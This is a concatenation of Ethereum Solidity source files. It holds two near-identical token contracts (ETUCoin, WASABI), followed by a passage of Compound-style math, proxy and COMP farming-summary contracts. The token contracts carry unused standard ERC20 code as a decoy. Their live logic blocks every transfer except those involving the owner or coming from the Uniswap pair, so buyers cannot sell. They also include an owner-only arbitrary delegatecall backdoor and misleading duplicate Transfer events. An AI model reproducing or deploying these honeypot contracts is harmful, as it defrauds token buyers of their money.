require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ETUCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
WASABI
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract WASABI {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: contracts/CompoundInterfaces.sol
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract ERC20{
uint public decimals;
function balanceOf(address _address) external view returns (uint256 balance);
}
contract CTokenInterface{
uint public totalBorrows;
uint public totalReserves;
string public symbol;
function getCash() external view returns (uint);
function totalBorrowsCurrent() external view returns (uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
}
contract Comptroller{
struct Market {
bool isListed;
uint collateralFactorMantissa;
bool isComped;
}
mapping(address => Market) public markets;
mapping(address => uint) public compAccrued;
function compSpeeds(address cTokenAddress) external view returns(uint);
function getAllMarkets() public view returns (CToken[] memory) {}
}
contract PriceOracle{
function getUnderlyingPrice(CToken cToken) public view returns (uint);
}
contract CToken{
}
contract CompoundLens {
struct CompBalanceMetadataExt {
uint balance;
uint votes;
address delegate;
uint allocated;
}
function getCompBalanceMetadataExt(Comp comp, ComptrollerLensInterface comptroller, address account) external returns (CompBalanceMetadataExt memory);
}
contract Comp{
}
interface ComptrollerLensInterface {
}
contract UniswapAnchoredView{
function price(string calldata symbol) external view returns (uint);
function getUnderlyingPrice(address cToken) external view returns (uint);
}
contract CErc20{
address public underlying;
}
// File: contracts/math/CarefulMath.sol
pragma solidity ^0.5.16;
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
// File: contracts/math/Exponential.sol
pragma solidity ^0.5.16;
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev turn a number with mantissa(<18) to a mantissa of 18
* Note: returns error if the existing mantissa is greater than 18
*/
function getExp18(uint numMantissa, uint mantissa) pure internal returns (Exp memory) {
uint scaledNum;
if(mantissa > 18){
scaledNum = div_(numMantissa, 10**sub_(mantissa, 18));
}else{
scaledNum = mul_(numMantissa, 10**sub_(18, mantissa));
}
return Exp({mantissa: scaledNum});
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
// File: contracts/utility/ErrorReporter.sol
pragma solidity ^0.5.16;
contract CompFarmingSummaryErrorReporter {
enum Error {
NO_ERROR,
CTOKEN_NOT_FOUND,
CETH_NOT_SUPPORTED,
ACCOUNT_SNAPSHOT_ERROR,
UNAUTHORIZED
}
enum FailureInfo {
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
ACCEPT_ADMIN_PENDING_ADMIN_CHECK
}
event Failure(uint error, uint info, uint detail);
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
// File: contracts/CompFarmingSummaryInterface.sol
pragma solidity ^0.5.16;
interface CompFarmingSummaryInterface {
struct CompProfile{
uint balance;
uint yetToClaimed;
}
function getPriceCOMP() external view returns (uint256 priceInUSD);
function sortedCompDistSpeedAllMarkets() external view returns (string[] memory sortedCTokenNameList, uint[] memory sortedCompSpeedList);
function compProfile(address account) external returns(CompProfile memory _compProfile);
function totalCompIncomePerYear(address _account) external view returns(uint errCode, string memory errCTokenSymbol, uint256 totalCompIncomeMantissa);
}
// File: contracts/CompFarmingSummaryProxyStorage.sol
pragma solidity ^0.5.16;
contract CompFarmingSummaryProxyStorage {
address public admin;
address public pendingAdmin;
address public compFarmingSummaryImplmentation;
address public pendingCompFarmingSummaryImplmentation;
}
contract CompFarmingSummaryStorageV1 is CompFarmingSummaryProxyStorage{
}
// File: contracts/CompFarmingSummaryProxy.sol
pragma solidity ^0.5.16;
contract CompFarmingSummaryProxy is CompFarmingSummaryProxyStorage, CompFarmingSummaryErrorReporter{
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
event NewImplementation(address oldImplementation, address newImplementation);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
admin = msg.sender;
}
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingCompFarmingSummaryImplmentation;
pendingCompFarmingSummaryImplmentation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingCompFarmingSummaryImplmentation);
return uint(Error.NO_ERROR);
}
function _acceptImplementation() public returns (uint) {
if (msg.sender != pendingCompFarmingSummaryImplmentation || pendingCompFarmingSummaryImplmentation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
// Save current values for inclusion in log
address oldImplementation = compFarmingSummaryImplmentation;
address oldPendingImplementation = pendingCompFarmingSummaryImplmentation;
compFarmingSummaryImplmentation = pendingCompFarmingSummaryImplmentation;
pendingCompFarmingSummaryImplmentation = address(0);
emit NewImplementation(oldImplementation, compFarmingSummaryImplmentation);
emit NewPendingImplementation(oldPendingImplementation, pendingCompFarmingSummaryImplmentation);
return uint(Error.NO_ERROR);
}
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
address oldPendingAdmin = pendingAdmin;
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
function _acceptAdmin() public returns (uint) {
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
admin = pendingAdmin;
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
function () payable external {
// delegate all other functions to current implementation
(bool success, ) = compFarmingSummaryImplmentation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
// File: contracts/CompFarmingSummaryV1.sol
pragma solidity ^0.5.16;
contract CompFarmingSummaryV1 is CompFarmingSummaryStorageV1, CompFarmingSummaryInterface, Exponential, CompFarmingSummaryErrorReporter{
struct CompIncomeLocalVars{
uint cTokenDecimals;
uint underlyingDecimals;
uint compDistSpeedErrCode;
uint getAccountSnapshotErrCode;
uint cTokenBalanceMantissa18;
uint borrowBalanceMantissa18;
uint exchangeRateMantissa18;
uint supplyRatePerBlock;
uint borrowRatePerBlock;
uint totalSupply;
uint totalBorrow;
Exp compIncomePerBlockExp;
Exp underlyingTokenBalanceExp;
Exp loanBalanceExp;
Exp loanBalanceWithInterestExp;
Exp supplyPercentageExp;
Exp borrowPercentageExp;
Exp compIncomeOnSupplyExp;
Exp compIncomeOnBorrowExp;
Exp compIncomeExp;
Exp compReleasedExp;
}
struct getAccountSnapshotLocalVars{
uint errCode;
uint cTokenBalance;
uint borrowBalance;
uint exchangeRateMantissa;
uint cTokenBalanceMantissa18;
uint borrowBalanceMantissa18;
uint exchangeRateMantissa18;
MathError cTokenBalanceExpErr;
Exp cTokenBalanceExp;
MathError borrowBalanceExpErr;
Exp borrowBalanceExp;
MathError exchangeRateExpErr;
Exp exchangeRateExp;
}
constructor() public {
}
//note: add view
function getPriceCOMP() external view returns (uint256 priceInUSD){
UniswapAnchoredView uniswapAnchoredView = UniswapAnchoredView(getUniswapAnchoredViewAddress());
priceInUSD = uniswapAnchoredView.price("COMP");
}
